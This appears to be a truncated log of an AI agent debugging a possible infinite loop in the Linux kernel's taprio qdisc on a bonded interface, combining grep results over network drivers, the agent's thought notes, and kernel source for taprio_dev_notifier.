drivers/net/dsa/hirschmann/hellcreek.c=1872=static int hellcreek_port_setup_tc(struct dsa_switch *ds, int port,
--
drivers/net/dsa/hirschmann/hellcreek.c-1880- case TC_SETUP_QDISC_TAPRIO: {
drivers/net/dsa/hirschmann/hellcreek.c:1881: struct tc_taprio_qopt_offload *taprio = type_data;
drivers/net/dsa/hirschmann/hellcreek.c-1882-
drivers/net/dsa/hirschmann/hellcreek.c:1883: switch (taprio->cmd) {
drivers/net/dsa/hirschmann/hellcreek.c-1884- case TAPRIO_CMD_REPLACE:
drivers/net/dsa/hirschmann/hellcreek.c:1885: if (!hellcreek_validate_schedule(hellcreek, taprio))
drivers/net/dsa/hirschmann/hellcreek.c-1886- return -EOPNOTSUPP;
drivers/net/dsa/hirschmann/hellcreek.c-1887-
drivers/net/dsa/hirschmann/hellcreek.c:1888: return hellcreek_port_set_schedule(ds, port, taprio);
drivers/net/dsa/hirschmann/hellcreek.c-1889- case TAPRIO_CMD_DESTROY:
--
drivers/net/dsa/hirschmann/hellcreek.h=250=struct hellcreek_port {
--
drivers/net/dsa/hirschmann/hellcreek.h-260- /* Per-port Qbv schedule information */
drivers/net/dsa/hirschmann/hellcreek.h:261: struct tc_taprio_qopt_offload *current_schedule;
drivers/net/dsa/hirschmann/hellcreek.h-262- struct delayed_work schedule_work;
--
drivers/net/dsa/ocelot/felix.c=1948=static int felix_change_mtu(struct dsa_switch *ds, int port, int new_mtu)
--
drivers/net/dsa/ocelot/felix.c-1956-
drivers/net/dsa/ocelot/felix.c:1957: if (ocelot_port->taprio && ocelot->ops->tas_guard_bands_update)
drivers/net/dsa/ocelot/felix.c-1958- ocelot->ops->tas_guard_bands_update(ocelot, port);
--
drivers/net/dsa/ocelot/felix_vsc9959.c=1072=static u64 vsc9959_tas_remaining_gate_len_ps(u64 gate_len_ns)
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1084-/* Extract shortest continuous gate open intervals in ns for each traffic class
drivers/net/dsa/ocelot/felix_vsc9959.c:1085: * of a cyclic tc-taprio schedule. If a gate is always open, the duration is
drivers/net/dsa/ocelot/felix_vsc9959.c-1086- * considered U64_MAX. If the gate is always closed, it is considered 0.
drivers/net/dsa/ocelot/felix_vsc9959.c-1087- */
drivers/net/dsa/ocelot/felix_vsc9959.c:1088:static void vsc9959_tas_min_gate_lengths(struct tc_taprio_qopt_offload *taprio,
drivers/net/dsa/ocelot/felix_vsc9959.c-1089- u64 min_gate_len[OCELOT_NUM_TC])
drivers/net/dsa/ocelot/felix_vsc9959.c-1090-{
drivers/net/dsa/ocelot/felix_vsc9959.c:1091: struct tc_taprio_sched_entry *entry;
drivers/net/dsa/ocelot/felix_vsc9959.c-1092- u64 gate_len[OCELOT_NUM_TC];
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1101-
drivers/net/dsa/ocelot/felix_vsc9959.c:1102: /* If we don't have taprio, consider all gates as permanently open */
drivers/net/dsa/ocelot/felix_vsc9959.c:1103: if (!taprio)
drivers/net/dsa/ocelot/felix_vsc9959.c-1104- return;
drivers/net/dsa/ocelot/felix_vsc9959.c-1105-
drivers/net/dsa/ocelot/felix_vsc9959.c:1106: n = taprio->num_entries;
drivers/net/dsa/ocelot/felix_vsc9959.c-1107-
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1115- for (i = 0; i < 2 * n; i++) {
drivers/net/dsa/ocelot/felix_vsc9959.c:1116: entry = &taprio->entries[i % n];
drivers/net/dsa/ocelot/felix_vsc9959.c-1117-
--
drivers/net/dsa/ocelot/felix_vsc9959.c=1188=static u32 vsc9959_port_qmaxsdu_get(struct ocelot *ocelot, int port, int tc)
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1203-
drivers/net/dsa/ocelot/felix_vsc9959.c:1204:static u32 vsc9959_tas_tc_max_sdu(struct tc_taprio_qopt_offload *taprio, int tc)
drivers/net/dsa/ocelot/felix_vsc9959.c-1205-{
drivers/net/dsa/ocelot/felix_vsc9959.c:1206: if (!taprio || !taprio->max_sdu[tc])
drivers/net/dsa/ocelot/felix_vsc9959.c-1207- return 0;
drivers/net/dsa/ocelot/felix_vsc9959.c-1208-
drivers/net/dsa/ocelot/felix_vsc9959.c:1209: return taprio->max_sdu[tc] + ETH_HLEN + 2 * VLAN_HLEN + ETH_FCS_LEN;
drivers/net/dsa/ocelot/felix_vsc9959.c-1210-}
--
drivers/net/dsa/ocelot/felix_vsc9959.c=1218=static void vsc9959_tas_guard_bands_update(struct ocelot *ocelot, int port)
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1221- struct ocelot_mm_state *mm = &ocelot->mm[port];
drivers/net/dsa/ocelot/felix_vsc9959.c:1222: struct tc_taprio_qopt_offload *taprio;
drivers/net/dsa/ocelot/felix_vsc9959.c-1223- u64 min_gate_len[OCELOT_NUM_TC];
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1232-
drivers/net/dsa/ocelot/felix_vsc9959.c:1233: taprio = ocelot_port->taprio;
drivers/net/dsa/ocelot/felix_vsc9959.c-1234-
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1279-
drivers/net/dsa/ocelot/felix_vsc9959.c:1280: vsc9959_tas_min_gate_lengths(taprio, min_gate_len);
drivers/net/dsa/ocelot/felix_vsc9959.c-1281-
drivers/net/dsa/ocelot/felix_vsc9959.c-1282- for (tc = 0; tc < OCELOT_NUM_TC; tc++) {
drivers/net/dsa/ocelot/felix_vsc9959.c:1283: u32 requested_max_sdu = vsc9959_tas_tc_max_sdu(taprio, tc);
drivers/net/dsa/ocelot/felix_vsc9959.c-1284- u64 remaining_gate_len_ps;
--
drivers/net/dsa/ocelot/felix_vsc9959.c=1349=static void vsc9959_sched_speed_set(struct ocelot *ocelot, int port,
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1379-
drivers/net/dsa/ocelot/felix_vsc9959.c:1380: if (ocelot_port->taprio)
drivers/net/dsa/ocelot/felix_vsc9959.c-1381- vsc9959_tas_guard_bands_update(ocelot, port);
--
drivers/net/dsa/ocelot/felix_vsc9959.c=1413=static void vsc9959_tas_gcl_set(struct ocelot *ocelot, const u32 gcl_ix,
drivers/net/dsa/ocelot/felix_vsc9959.c:1414: struct tc_taprio_sched_entry *entry)
drivers/net/dsa/ocelot/felix_vsc9959.c-1415-{
--
drivers/net/dsa/ocelot/felix_vsc9959.c=1423=static int vsc9959_qos_port_tas_set(struct ocelot *ocelot, int port,
drivers/net/dsa/ocelot/felix_vsc9959.c:1424: struct tc_taprio_qopt_offload *taprio)
drivers/net/dsa/ocelot/felix_vsc9959.c-1425-{
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1432-
drivers/net/dsa/ocelot/felix_vsc9959.c:1433: if (taprio->cmd == TAPRIO_CMD_DESTROY) {
drivers/net/dsa/ocelot/felix_vsc9959.c:1434: ocelot_port_mqprio(ocelot, port, &taprio->mqprio);
drivers/net/dsa/ocelot/felix_vsc9959.c-1435- ocelot_rmw_rix(ocelot, 0, QSYS_TAG_CONFIG_ENABLE,
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1437-
drivers/net/dsa/ocelot/felix_vsc9959.c:1438: taprio_offload_free(ocelot_port->taprio);
drivers/net/dsa/ocelot/felix_vsc9959.c:1439: ocelot_port->taprio = NULL;
drivers/net/dsa/ocelot/felix_vsc9959.c-1440-
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1444- return 0;
drivers/net/dsa/ocelot/felix_vsc9959.c:1445: } else if (taprio->cmd != TAPRIO_CMD_REPLACE) {
drivers/net/dsa/ocelot/felix_vsc9959.c-1446- ret = -EOPNOTSUPP;
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1449-
drivers/net/dsa/ocelot/felix_vsc9959.c:1450: ret = ocelot_port_mqprio(ocelot, port, &taprio->mqprio);
drivers/net/dsa/ocelot/felix_vsc9959.c-1451- if (ret)
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1453-
drivers/net/dsa/ocelot/felix_vsc9959.c:1454: if (taprio->cycle_time > NSEC_PER_SEC ||
drivers/net/dsa/ocelot/felix_vsc9959.c:1455: taprio->cycle_time_extension >= NSEC_PER_SEC) {
drivers/net/dsa/ocelot/felix_vsc9959.c-1456- ret = -EINVAL;
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1459-
drivers/net/dsa/ocelot/felix_vsc9959.c:1460: if (taprio->num_entries > VSC9959_TAS_GCL_ENTRY_MAX) {
drivers/net/dsa/ocelot/felix_vsc9959.c-1461- ret = -ERANGE;
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1500-
drivers/net/dsa/ocelot/felix_vsc9959.c:1501: vsc9959_new_base_time(ocelot, taprio->base_time,
drivers/net/dsa/ocelot/felix_vsc9959.c:1502: taprio->cycle_time, &base_ts);
drivers/net/dsa/ocelot/felix_vsc9959.c-1503- ocelot_write(ocelot, base_ts.tv_nsec, QSYS_PARAM_CFG_REG_1);
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1507- QSYS_PARAM_CFG_REG_3_BASE_TIME_SEC_MSB(val) |
drivers/net/dsa/ocelot/felix_vsc9959.c:1508: QSYS_PARAM_CFG_REG_3_LIST_LENGTH(taprio->num_entries),
drivers/net/dsa/ocelot/felix_vsc9959.c-1509- QSYS_PARAM_CFG_REG_3);
drivers/net/dsa/ocelot/felix_vsc9959.c:1510: ocelot_write(ocelot, taprio->cycle_time, QSYS_PARAM_CFG_REG_4);
drivers/net/dsa/ocelot/felix_vsc9959.c:1511: ocelot_write(ocelot, taprio->cycle_time_extension, QSYS_PARAM_CFG_REG_5);
drivers/net/dsa/ocelot/felix_vsc9959.c-1512-
drivers/net/dsa/ocelot/felix_vsc9959.c:1513: for (i = 0; i < taprio->num_entries; i++)
drivers/net/dsa/ocelot/felix_vsc9959.c:1514: vsc9959_tas_gcl_set(ocelot, i, &taprio->entries[i]);
drivers/net/dsa/ocelot/felix_vsc9959.c-1515-
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1525-
drivers/net/dsa/ocelot/felix_vsc9959.c:1526: ocelot_port->taprio = taprio_offload_get(taprio);
drivers/net/dsa/ocelot/felix_vsc9959.c-1527- vsc9959_tas_guard_bands_update(ocelot, port);
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1533-err_reset_tc:
drivers/net/dsa/ocelot/felix_vsc9959.c:1534: taprio->mqprio.qopt.num_tc = 0;
drivers/net/dsa/ocelot/felix_vsc9959.c:1535: ocelot_port_mqprio(ocelot, port, &taprio->mqprio);
drivers/net/dsa/ocelot/felix_vsc9959.c-1536-err_unlock:
--
drivers/net/dsa/ocelot/felix_vsc9959.c=1542=static void vsc9959_tas_clock_adjust(struct ocelot *ocelot)
drivers/net/dsa/ocelot/felix_vsc9959.c-1543-{
drivers/net/dsa/ocelot/felix_vsc9959.c:1544: struct tc_taprio_qopt_offload *taprio;
drivers/net/dsa/ocelot/felix_vsc9959.c-1545- struct ocelot_port *ocelot_port;
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1553- ocelot_port = ocelot->ports[port];
drivers/net/dsa/ocelot/felix_vsc9959.c:1554: taprio = ocelot_port->taprio;
drivers/net/dsa/ocelot/felix_vsc9959.c:1555: if (!taprio)
drivers/net/dsa/ocelot/felix_vsc9959.c-1556- continue;
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1566-
drivers/net/dsa/ocelot/felix_vsc9959.c:1567: vsc9959_new_base_time(ocelot, taprio->base_time,
drivers/net/dsa/ocelot/felix_vsc9959.c:1568: taprio->cycle_time, &base_ts);
drivers/net/dsa/ocelot/felix_vsc9959.c-1569-
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1578-
drivers/net/dsa/ocelot/felix_vsc9959.c:1579: for (i = 0; i < taprio->num_entries; i++)
drivers/net/dsa/ocelot/felix_vsc9959.c:1580: vsc9959_tas_gcl_set(ocelot, i, &taprio->entries[i]);
drivers/net/dsa/ocelot/felix_vsc9959.c-1581-
--
drivers/net/dsa/ocelot/felix_vsc9959.c=1640=static int vsc9959_qos_query_caps(struct tc_query_caps_base *base)
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1650- case TC_SETUP_QDISC_TAPRIO: {
drivers/net/dsa/ocelot/felix_vsc9959.c:1651: struct tc_taprio_caps *caps = base->caps;
drivers/net/dsa/ocelot/felix_vsc9959.c-1652-
--
drivers/net/dsa/sja1105/sja1105_main.c=2812=static int sja1105_port_setup_tc(struct dsa_switch *ds, int port,
--
drivers/net/dsa/sja1105/sja1105_main.c-2817- case TC_SETUP_QDISC_TAPRIO:
drivers/net/dsa/sja1105/sja1105_main.c:2818: return sja1105_setup_tc_taprio(ds, port, type_data);
drivers/net/dsa/sja1105/sja1105_main.c-2819- case TC_SETUP_QDISC_CBS:
--
drivers/net/dsa/sja1105/sja1105_tas.c=17=static int sja1105_tas_set_runtime_params(struct sja1105_private *priv)
--
drivers/net/dsa/sja1105/sja1105_tas.c-30- for (port = 0; port < ds->num_ports; port++) {
drivers/net/dsa/sja1105/sja1105_tas.c:31: const struct tc_taprio_qopt_offload *offload;
drivers/net/dsa/sja1105/sja1105_tas.c-32-
--
drivers/net/dsa/sja1105/sja1105_tas.c=158=int sja1105_init_scheduling(struct sja1105_private *priv)
--
drivers/net/dsa/sja1105/sja1105_tas.c-273- for (port = 0; port < ds->num_ports; port++) {
drivers/net/dsa/sja1105/sja1105_tas.c:274: const struct tc_taprio_qopt_offload *offload;
drivers/net/dsa/sja1105/sja1105_tas.c-275- /* Relative base time */
--
drivers/net/dsa/sja1105/sja1105_tas.c=383=sja1105_tas_check_conflicts(struct sja1105_private *priv, int port,
drivers/net/dsa/sja1105/sja1105_tas.c:384: const struct tc_taprio_qopt_offload *admin)
drivers/net/dsa/sja1105/sja1105_tas.c-385-{
drivers/net/dsa/sja1105/sja1105_tas.c-386- struct sja1105_tas_data *tas_data = &priv->tas_data;
drivers/net/dsa/sja1105/sja1105_tas.c:387: const struct tc_taprio_qopt_offload *offload;
drivers/net/dsa/sja1105/sja1105_tas.c-388- s64 max_cycle_time, min_cycle_time;
--
drivers/net/dsa/sja1105/sja1105_tas.c-460-
drivers/net/dsa/sja1105/sja1105_tas.c:461:/* Check the tc-taprio configuration on @port for conflicts with the tc-gate
drivers/net/dsa/sja1105/sja1105_tas.c-462- * global subschedule. If @port is -1, check it against all ports.
drivers/net/dsa/sja1105/sja1105_tas.c-463- * To reuse the sja1105_tas_check_conflicts logic without refactoring it,
drivers/net/dsa/sja1105/sja1105_tas.c:464: * convert the gating configuration to a dummy tc-taprio offload structure.
drivers/net/dsa/sja1105/sja1105_tas.c-465- */
drivers/net/dsa/sja1105/sja1105_tas.c=466=bool sja1105_gating_check_conflicts(struct sja1105_private *priv, int port,
--
drivers/net/dsa/sja1105/sja1105_tas.c-470- size_t num_entries = gating_cfg->num_entries;
drivers/net/dsa/sja1105/sja1105_tas.c:471: struct tc_taprio_qopt_offload *dummy;
drivers/net/dsa/sja1105/sja1105_tas.c-472- struct dsa_switch *ds = priv->ds;
--
drivers/net/dsa/sja1105/sja1105_tas.c-508-
drivers/net/dsa/sja1105/sja1105_tas.c:509:int sja1105_setup_tc_taprio(struct dsa_switch *ds, int port,
drivers/net/dsa/sja1105/sja1105_tas.c:510: struct tc_taprio_qopt_offload *admin)
drivers/net/dsa/sja1105/sja1105_tas.c-511-{
--
drivers/net/dsa/sja1105/sja1105_tas.c-523- if (admin->cmd == TAPRIO_CMD_DESTROY) {
drivers/net/dsa/sja1105/sja1105_tas.c:524: taprio_offload_free(tas_data->offload[port]);
drivers/net/dsa/sja1105/sja1105_tas.c-525- tas_data->offload[port] = NULL;
--
drivers/net/dsa/sja1105/sja1105_tas.c-574-
drivers/net/dsa/sja1105/sja1105_tas.c:575: tas_data->offload[port] = taprio_offload_get(admin);
drivers/net/dsa/sja1105/sja1105_tas.c-576-
--
drivers/net/dsa/sja1105/sja1105_tas.c=883=void sja1105_tas_teardown(struct dsa_switch *ds)
--
drivers/net/dsa/sja1105/sja1105_tas.c-885- struct sja1105_private *priv = ds->priv;
drivers/net/dsa/sja1105/sja1105_tas.c:886: struct tc_taprio_qopt_offload *offload;
drivers/net/dsa/sja1105/sja1105_tas.c-887- int port;
--
drivers/net/dsa/sja1105/sja1105_tas.c-895-
drivers/net/dsa/sja1105/sja1105_tas.c:896: taprio_offload_free(offload);
drivers/net/dsa/sja1105/sja1105_tas.c-897- }
--
drivers/net/dsa/sja1105/sja1105_tas.h=41=struct sja1105_tas_data {
drivers/net/dsa/sja1105/sja1105_tas.h:42: struct tc_taprio_qopt_offload *offload[SJA1105_MAX_NUM_PORTS];
drivers/net/dsa/sja1105/sja1105_tas.h-43- struct sja1105_gating_config gating_cfg;
--
drivers/net/dsa/sja1105/sja1105_tas.h-52-
drivers/net/dsa/sja1105/sja1105_tas.h:53:int sja1105_setup_tc_taprio(struct dsa_switch *ds, int port,
drivers/net/dsa/sja1105/sja1105_tas.h:54: struct tc_taprio_qopt_offload *admin);
drivers/net/dsa/sja1105/sja1105_tas.h-55-
--
drivers/net/dsa/sja1105/sja1105_tas.h=72=struct sja1105_tas_data {
--
drivers/net/dsa/sja1105/sja1105_tas.h-75-
drivers/net/dsa/sja1105/sja1105_tas.h:76:static inline int sja1105_setup_tc_taprio(struct dsa_switch *ds, int port,
drivers/net/dsa/sja1105/sja1105_tas.h:77: struct tc_taprio_qopt_offload *admin)
drivers/net/dsa/sja1105/sja1105_tas.h-78-{
--
drivers/net/dsa/sja1105/sja1105_vl.c=581=int sja1105_vl_gate(struct sja1105_private *priv, int port,
--
drivers/net/dsa/sja1105/sja1105_vl.c-712- if (sja1105_gating_check_conflicts(priv, -1, extack)) {
drivers/net/dsa/sja1105/sja1105_vl.c:713: NL_SET_ERR_MSG_MOD(extack, "Conflict with tc-taprio schedule");
drivers/net/dsa/sja1105/sja1105_vl.c-714- rc = -ERANGE;
--
drivers/net/ethernet/cadence/macb_main.c=4050=static void macb_restore_features(struct macb *bp)
--
drivers/net/ethernet/cadence/macb_main.c-4068-
drivers/net/ethernet/cadence/macb_main.c:4069:static int macb_taprio_setup_replace(struct net_device *ndev,
drivers/net/ethernet/cadence/macb_main.c:4070: struct tc_taprio_qopt_offload *conf)
drivers/net/ethernet/cadence/macb_main.c-4071-{
--
drivers/net/ethernet/cadence/macb_main.c-4074- struct macb_queue_enst_config *enst_queue;
drivers/net/ethernet/cadence/macb_main.c:4075: struct tc_taprio_sched_entry *entry;
drivers/net/ethernet/cadence/macb_main.c-4076- struct macb *bp = netdev_priv(ndev);
--
drivers/net/ethernet/cadence/macb_main.c-4222-
drivers/net/ethernet/cadence/macb_main.c:4223:static void macb_taprio_destroy(struct net_device *ndev)
drivers/net/ethernet/cadence/macb_main.c-4224-{
--
drivers/net/ethernet/cadence/macb_main.c-4247-
drivers/net/ethernet/cadence/macb_main.c:4248:static int macb_setup_taprio(struct net_device *ndev,
drivers/net/ethernet/cadence/macb_main.c:4249: struct tc_taprio_qopt_offload *taprio)
drivers/net/ethernet/cadence/macb_main.c-4250-{
--
drivers/net/ethernet/cadence/macb_main.c-4262-
drivers/net/ethernet/cadence/macb_main.c:4263: switch (taprio->cmd) {
drivers/net/ethernet/cadence/macb_main.c-4264- case TAPRIO_CMD_REPLACE:
drivers/net/ethernet/cadence/macb_main.c:4265: err = macb_taprio_setup_replace(ndev, taprio);
drivers/net/ethernet/cadence/macb_main.c-4266- break;
drivers/net/ethernet/cadence/macb_main.c-4267- case TAPRIO_CMD_DESTROY:
drivers/net/ethernet/cadence/macb_main.c:4268: macb_taprio_destroy(ndev);
drivers/net/ethernet/cadence/macb_main.c-4269- break;
--
drivers/net/ethernet/cadence/macb_main.c=4277=static int macb_setup_tc(struct net_device *dev, enum tc_setup_type type,
--
drivers/net/ethernet/cadence/macb_main.c-4284- case TC_SETUP_QDISC_TAPRIO:
drivers/net/ethernet/cadence/macb_main.c:4285: return macb_setup_taprio(dev, type_data);
drivers/net/ethernet/cadence/macb_main.c-4286- default:
--
drivers/net/ethernet/engleder/tsnep_selftests.c=155=static void delay_base_time(struct tsnep_adapter *adapter,
drivers/net/ethernet/engleder/tsnep_selftests.c:156: struct tc_taprio_qopt_offload *qopt, s64 ms)
drivers/net/ethernet/engleder/tsnep_selftests.c-157-{
--
drivers/net/ethernet/engleder/tsnep_selftests.c=299=static bool check_gate_duration(struct tsnep_adapter *adapter, s64 ms)
--
drivers/net/ethernet/engleder/tsnep_selftests.c-310-
drivers/net/ethernet/engleder/tsnep_selftests.c:311:static bool enable_check_taprio(struct tsnep_adapter *adapter,
drivers/net/ethernet/engleder/tsnep_selftests.c:312: struct tc_taprio_qopt_offload *qopt, s64 ms)
drivers/net/ethernet/engleder/tsnep_selftests.c-313-{
--
drivers/net/ethernet/engleder/tsnep_selftests.c-325-
drivers/net/ethernet/engleder/tsnep_selftests.c:326:static bool disable_taprio(struct tsnep_adapter *adapter)
drivers/net/ethernet/engleder/tsnep_selftests.c-327-{
drivers/net/ethernet/engleder/tsnep_selftests.c:328: struct tc_taprio_qopt_offload qopt;
drivers/net/ethernet/engleder/tsnep_selftests.c-329- int retval;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-339-
drivers/net/ethernet/engleder/tsnep_selftests.c:340:static bool run_taprio(struct tsnep_adapter *adapter,
drivers/net/ethernet/engleder/tsnep_selftests.c:341: struct tc_taprio_qopt_offload *qopt, s64 ms)
drivers/net/ethernet/engleder/tsnep_selftests.c-342-{
drivers/net/ethernet/engleder/tsnep_selftests.c:343: if (!enable_check_taprio(adapter, qopt, ms))
drivers/net/ethernet/engleder/tsnep_selftests.c-344- return false;
drivers/net/ethernet/engleder/tsnep_selftests.c-345-
drivers/net/ethernet/engleder/tsnep_selftests.c:346: if (!disable_taprio(adapter))
drivers/net/ethernet/engleder/tsnep_selftests.c-347- return false;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-351-
drivers/net/ethernet/engleder/tsnep_selftests.c:352:static bool tsnep_test_taprio(struct tsnep_adapter *adapter)
drivers/net/ethernet/engleder/tsnep_selftests.c-353-{
drivers/net/ethernet/engleder/tsnep_selftests.c:354: struct tc_taprio_qopt_offload *qopt;
drivers/net/ethernet/engleder/tsnep_selftests.c-355- int i;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-381- qopt->num_entries = 7;
drivers/net/ethernet/engleder/tsnep_selftests.c:382: if (!run_taprio(adapter, qopt, 100))
drivers/net/ethernet/engleder/tsnep_selftests.c-383- goto failed;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-405- qopt->num_entries = 8;
drivers/net/ethernet/engleder/tsnep_selftests.c:406: if (!run_taprio(adapter, qopt, 100))
drivers/net/ethernet/engleder/tsnep_selftests.c-407- goto failed;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-434- qopt->num_entries = 10;
drivers/net/ethernet/engleder/tsnep_selftests.c:435: if (!run_taprio(adapter, qopt, 100))
drivers/net/ethernet/engleder/tsnep_selftests.c-436- goto failed;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-442-failed:
drivers/net/ethernet/engleder/tsnep_selftests.c:443: disable_taprio(adapter);
drivers/net/ethernet/engleder/tsnep_selftests.c-444- kfree(qopt);
--
drivers/net/ethernet/engleder/tsnep_selftests.c-448-
drivers/net/ethernet/engleder/tsnep_selftests.c:449:static bool tsnep_test_taprio_change(struct tsnep_adapter *adapter)
drivers/net/ethernet/engleder/tsnep_selftests.c-450-{
drivers/net/ethernet/engleder/tsnep_selftests.c:451: struct tc_taprio_qopt_offload *qopt;
drivers/net/ethernet/engleder/tsnep_selftests.c-452- int i;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-468- qopt->num_entries = 2;
drivers/net/ethernet/engleder/tsnep_selftests.c:469: if (!enable_check_taprio(adapter, qopt, 100))
drivers/net/ethernet/engleder/tsnep_selftests.c-470- goto failed;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-472- /* change to identical */
drivers/net/ethernet/engleder/tsnep_selftests.c:473: if (!enable_check_taprio(adapter, qopt, 100))
drivers/net/ethernet/engleder/tsnep_selftests.c-474- goto failed;
drivers/net/ethernet/engleder/tsnep_selftests.c-475- delay_base_time(adapter, qopt, 17);
drivers/net/ethernet/engleder/tsnep_selftests.c:476: if (!enable_check_taprio(adapter, qopt, 100))
drivers/net/ethernet/engleder/tsnep_selftests.c-477- goto failed;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-483- delay_base_time(adapter, qopt, 2);
drivers/net/ethernet/engleder/tsnep_selftests.c:484: if (!enable_check_taprio(adapter, qopt, 100))
drivers/net/ethernet/engleder/tsnep_selftests.c-485- goto failed;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-491- delay_base_time(adapter, qopt, 23);
drivers/net/ethernet/engleder/tsnep_selftests.c:492: if (!enable_check_taprio(adapter, qopt, 100))
drivers/net/ethernet/engleder/tsnep_selftests.c-493- goto failed;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-502- delay_base_time(adapter, qopt, 11);
drivers/net/ethernet/engleder/tsnep_selftests.c:503: if (!enable_check_taprio(adapter, qopt, 100))
drivers/net/ethernet/engleder/tsnep_selftests.c-504- goto failed;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-514- delay_base_time(adapter, qopt, 11);
drivers/net/ethernet/engleder/tsnep_selftests.c:515: if (!enable_check_taprio(adapter, qopt, 100))
drivers/net/ethernet/engleder/tsnep_selftests.c-516- goto failed;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-528- delay_base_time(adapter, qopt, 3);
drivers/net/ethernet/engleder/tsnep_selftests.c:529: if (!enable_check_taprio(adapter, qopt, 100))
drivers/net/ethernet/engleder/tsnep_selftests.c-530- goto failed;
--
drivers/net/ethernet/engleder/tsnep_selftests.c-540- delay_base_time(adapter, qopt, 11);
drivers/net/ethernet/engleder/tsnep_selftests.c:541: if (!enable_check_taprio(adapter, qopt, 100))
drivers/net/ethernet/engleder/tsnep_selftests.c-542- goto failed;
--
]
]
|
| 12/2 |
2026/05/23 14:45 |
llm |
expert |
0m
Model:
Tokens:
input: 35262
output: 20
thoughts: 25
Thoughts: Okay, here's my take on those thoughts, framed as an expert's internal monologue:
**Investigating a Potential Network Loop**
Alright, a network issue with `bond0` has come up. My initial instinct is to dive into the `net/sched/sch_taprio.c` code. That's usually where the Time-Aware Shaper implementation lives, and it's a common area for subtle bugs to creep in, particularly with complex configurations. I'm especially concerned about the possibility of an infinite loop in the traffic scheduling. Things can get messy there, and a misconfigured or buggy TAPRIO setup is a likely culprit for strange network behavior, especially related to bonded interfaces. I'll start by focusing on that specific area and see if anything jumps out. That code is intricate, but a network loop will generally be relatively easy to find when I look, because it will result in a clear bug.
|
| 13/2 |
2026/05/23 14:45 |
tool |
grepper |
0m
Args: map[Expression:taprio_dev_notifier]
Results: map[Output:net/sched/sch_taprio.c=1292=static void taprio_set_picos_per_byte(struct net_device *dev,
--
net/sched/sch_taprio.c-1325-
net/sched/sch_taprio.c:1326:static int taprio_dev_notifier(struct notifier_block *nb, unsigned long event,
net/sched/sch_taprio.c-1327- void *ptr)
--
net/sched/sch_taprio.c=2551=static struct notifier_block taprio_device_notifier = {
net/sched/sch_taprio.c:2552: .notifier_call = taprio_dev_notifier,
net/sched/sch_taprio.c-2553-};
]
|
| 14/2 |
2026/05/23 14:45 |
llm |
expert |
0m
Model:
Tokens:
input: 35709
output: 45
thoughts: 12
Thoughts: Okay, let's dive into this. Here's my take on those thoughts, as if they're my own:
**Initial Assessment: `taprio_dev_notifier`**
Alright, `taprio_dev_notifier`. Seems straightforward enough, but the name gives me some hints. It likely relates to the notification mechanisms used within the TAPRIO (presumably, either a specific software or a wider ecosystem). "Dev" suggests it's aimed at developers, maybe providing updates or alerts related to development processes. The "notifier" part confirms it's a notification system. I wonder what specific functionalities it encompasses? Is it tied into build pipelines, version control commits, testing frameworks, or is it more of a general-purpose logging notifier for various events in a development setting? Time to explore.
|
| 15/2 |
2026/05/23 14:45 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:taprio_dev_notifier]
Results: map[SourceCode:1326: static int taprio_dev_notifier(struct notifier_block *nb, unsigned long event,
1327: void *ptr)
1328: {
1329: struct net_device *dev = netdev_notifier_info_to_dev(ptr);
1330: struct sched_gate_list *oper, *admin;
1331: struct qdisc_size_table *stab;
1332: struct taprio_sched *q;
1333:
1334: ASSERT_RTNL();
1335:
1336: if (event != NETDEV_UP && event != NETDEV_CHANGE)
1337: return NOTIFY_DONE;
1338:
1339: list_for_each_entry(q, &taprio_list, taprio_list) {
1340: if (dev != qdisc_dev(q->root))
1341: continue;
1342:
1343: taprio_set_picos_per_byte(dev, q, NULL);
1344:
1345: stab = rtnl_dereference(q->root->stab);
1346:
1347: rcu_read_lock();
1348: oper = rcu_dereference(q->oper_sched);
1349: if (oper)
1350: taprio_update_queue_max_sdu(q, oper, stab);
1351:
1352: admin = rcu_dereference(q->admin_sched);
1353: if (admin)
1354: taprio_update_queue_max_sdu(q, admin, stab);
1355: rcu_read_unlock();
1356:
1357: break;
1358: }
1359:
1360: return NOTIFY_DONE;
1361: }
SourceFile:net/sched/sch_taprio.c]
|
| 16/2 |
2026/05/23 14:45 |
llm |
expert |
0m
Model:
Tokens:
input: 36486
output: 43
thoughts: 56
Thoughts: Okay, let me think this through.
**Analyzing the Reproducer - Potential Infinite Loop in `taprio`?**
Alright, so the reproducer they've given me is sending a `sendmsg` call. That's using `RTM_NEWQDISC` which makes sense, we're creating a new queueing discipline. Specifically, it's aimed at `bond0`, and the `qdisc` is `taprio`. Hmm... `taprio`, right.
